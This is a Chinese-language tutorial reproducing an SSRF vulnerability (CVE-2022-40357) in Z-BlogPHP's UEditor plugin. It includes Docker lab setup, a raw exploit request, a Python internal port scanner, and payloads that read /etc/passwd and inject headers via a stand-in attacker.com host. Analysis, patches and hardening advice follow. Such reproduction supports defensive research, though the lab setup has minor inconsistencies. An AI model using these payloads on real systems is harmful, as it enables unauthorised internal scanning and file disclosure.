 复现：3步完成环境搭建与端口探测)
Z-BlogPHP 1.7.2 SSRF漏洞实战：从环境搭建到内网探测的完整指南
在开源博客系统领域，Z-BlogPHP以其轻量级和易用性赢得了不少用户青睐。然而，2022年曝光的CVE-2022-40357漏洞却给1.7.2及以下版本用户敲响了安全警钟——这个被评定为"超危"级别的服务器端请求伪造(SSRF)漏洞，能让攻击者通过精心构造的请求探测内网服务，甚至可能成为内网渗透的跳板。本文将带您从零开始，通过可验证的实验环境，完整重现这一漏洞的利用过程。
1. 漏洞环境快速搭建
搭建一个精准的漏洞复现环境是研究工作的第一步。我们推荐使用Docker容器化方案，既能隔离实验环境，又能实现一键部署。
1.1 Docker环境配置
首先准备基础环境，确保系统已安装Docker和docker-compose。以下是完整的部署脚本：
mkdir zblog-ssrf && cd zblog-ssrf cat > docker-compose.yml <<EOF version: '3' services: zblog: image: php:7.4-apache ports: - "8080:80" volumes: - ./zblog:/var/www/html - ./mysql:/var/lib/mysql environment: MYSQL_ROOT_PASSWORD: vulnerable MYSQL_DATABASE: zblog EOF执行docker-compose up -d启动容器后，下载特定版本的Z-BlogPHP：
wget https://github.com/zblogcn/zblogphp/archive/refs/tags/v1.7.1-2960.zip unzip v1.7.1-2960.zip -d ./zblog chmod -R 777 ./zblog1.2 数据库初始化
访问http://localhost:8080进入安装界面，数据库配置参数如下：
| 参数项 | 配置值 |
|---|---|
| 数据库类型 | MySQLi |
| 数据库服务器 | localhost |
| 数据库用户名 | root |
| 数据库密码 | vulnerable |
| 数据库名 | zblog |
注意：安装完成后务必不要立即升级系统，这会修复漏洞导致复现失败。
1.3 漏洞组件验证
关键漏洞文件位于：
zb_users/plugin/UEditor/php/action_crawler.php可通过以下命令确认文件存在：
docker exec -it zblog-ssrf_zblog_1 ls -la /var/www/html/zb_users/plugin/UEditor/php/2. SSRF漏洞利用实战
2.1 基础利用流程
完整的漏洞利用需要以下三个步骤：
- 获取管理员会话：通过默认后台地址
/zb_system/login.php登录 - 构造恶意请求：向漏洞端点发送特制参数
- 结果分析：根据响应判断内网服务状态
典型的利用请求示例：
POST /zb_users/plugin/UEditor/php/controller.php?action=catchimage HTTP/1.1 Host: vulnerable-site.com Cookie: ZBlogSID=管理员会话ID Content-Type: application/x-www-form-urlencoded source[]=http://127.0.0.1:33062.2 端口扫描技术实现
通过自动化脚本可以系统性地探测内网端口。以下是Python实现的扫描器核心代码：
import requests target = "http://localhost:8080" cookies = {"ZBlogSID": "获取的实际会话ID"} ports = [21, 22, 80, 3306, 6379] # 常见服务端口 for port in ports: data = {"source[]": f"http://127.0.0.1:{port}"} try: r = requests.post( f"{target}/zb_users/plugin/UEditor/php/controller.php?action=catchimage", data=data, cookies=cookies, timeout=5 ) if "state" in r.text: print(f"[+] Port {port} is open") except: print(f"[-] Port {port} connection error")响应状态解读表：
| 响应特征 | 端口状态判断 |
|---|---|
| 包含"SUCCESS"状态 | 端口开放且服务正常 |
| 连接超时 | 端口关闭 |
| 返回"远程图片获取失败" | 端口开放但服务异常 |
2.3 高级利用技巧
除了基础端口扫描，该SSRF漏洞还能实现更复杂的攻击：
HTTP头注入：通过URL参数注入自定义头
source[]=http://attacker.com%0d%0aX-Forwarded-For:%20192.168.1.1协议探测：尝试不同协议处理
source[]=file:///etc/passwd source[]=ftp://attacker.comDNS重绑定攻击：结合短TTL域名绕过防护
重要提示：这些技术仅限授权测试使用，未经授权的探测可能违反法律。
3. 漏洞深度分析与防护
3.1 代码审计要点
漏洞根源在于action_crawler.php对source参数缺乏严格校验：
// 漏洞代码片段 foreach ($source as $imgUrl) { $item = new Uploader($imgUrl, $config, "remote"); // ... } class Uploader { private function saveRemote() { $imgUrl = htmlspecialchars($this->fileField); // 仅检查HTTP协议头，未验证目标IP if (strpos($imgUrl, "http") !== 0) { $this->stateInfo = "ERROR_HTTP_LINK"; return; } // 直接请求用户提供的URL $heads = get_headers($imgUrl, 1); } }3.2 修复方案对比
官方修复方案主要通过白名单校验域名：
| 防护方式 | 实现难度 | 防护效果 | 对业务影响 |
|---|---|---|---|
| 域名白名单 | 中等 | ★★★★☆ | 需维护列表 |
| 协议限制 | 简单 | ★★☆☆☆ | 低 |
| 禁用插件 | 简单 | ★★★★★ | 高 |
| 网络层隔离 | 复杂 | ★★★★★ | 中 |
实际修复建议：
- 立即升级到1.7.3及以上版本
- 临时解决方案：
// 在action_crawler.php开头添加 $allowed_domains = ['example.com']; foreach ($source as $url) { if (!in_array(parse_url($url, PHP_URL_HOST), $allowed_domains)) { die('Access denied'); } }
4. 企业级防护体系建设
4.1 防御策略分层
针对SSRF漏洞，企业应建立多层防御：
应用层防护
- 输入验证：严格的URL格式检查
- 输出过滤：移除敏感信息
网络层防护
- 出口防火墙规则
- 网络分段隔离
监控与响应
- 异常请求日志分析
- 入侵检测系统(IDS)规则
4.2 安全加固检查清单
完成漏洞复现后，建议执行以下安全检查：
- [ ] 验证所有用户输入参数过滤
- [ ] 检查服务器出站连接限制
- [ ] 审计所有文件上传功能
- [ ] 更新Web应用防火墙(WAF)规则
- [ ] 实施最小权限原则
对于使用Z-BlogPHP的企业，额外建议：
# 检查已安装版本 grep 'APP_VERSION' /var/www/html/zb_system/function/c_system_version.php在云环境部署时，特别需要注意安全组配置，限制实例的元数据访问：
aws ec2 modify-instance-metadata-options \ --instance-id i-1234567890abcdef0 \ --http-put-response-hop-limit 1 \ --http-endpoint disabled
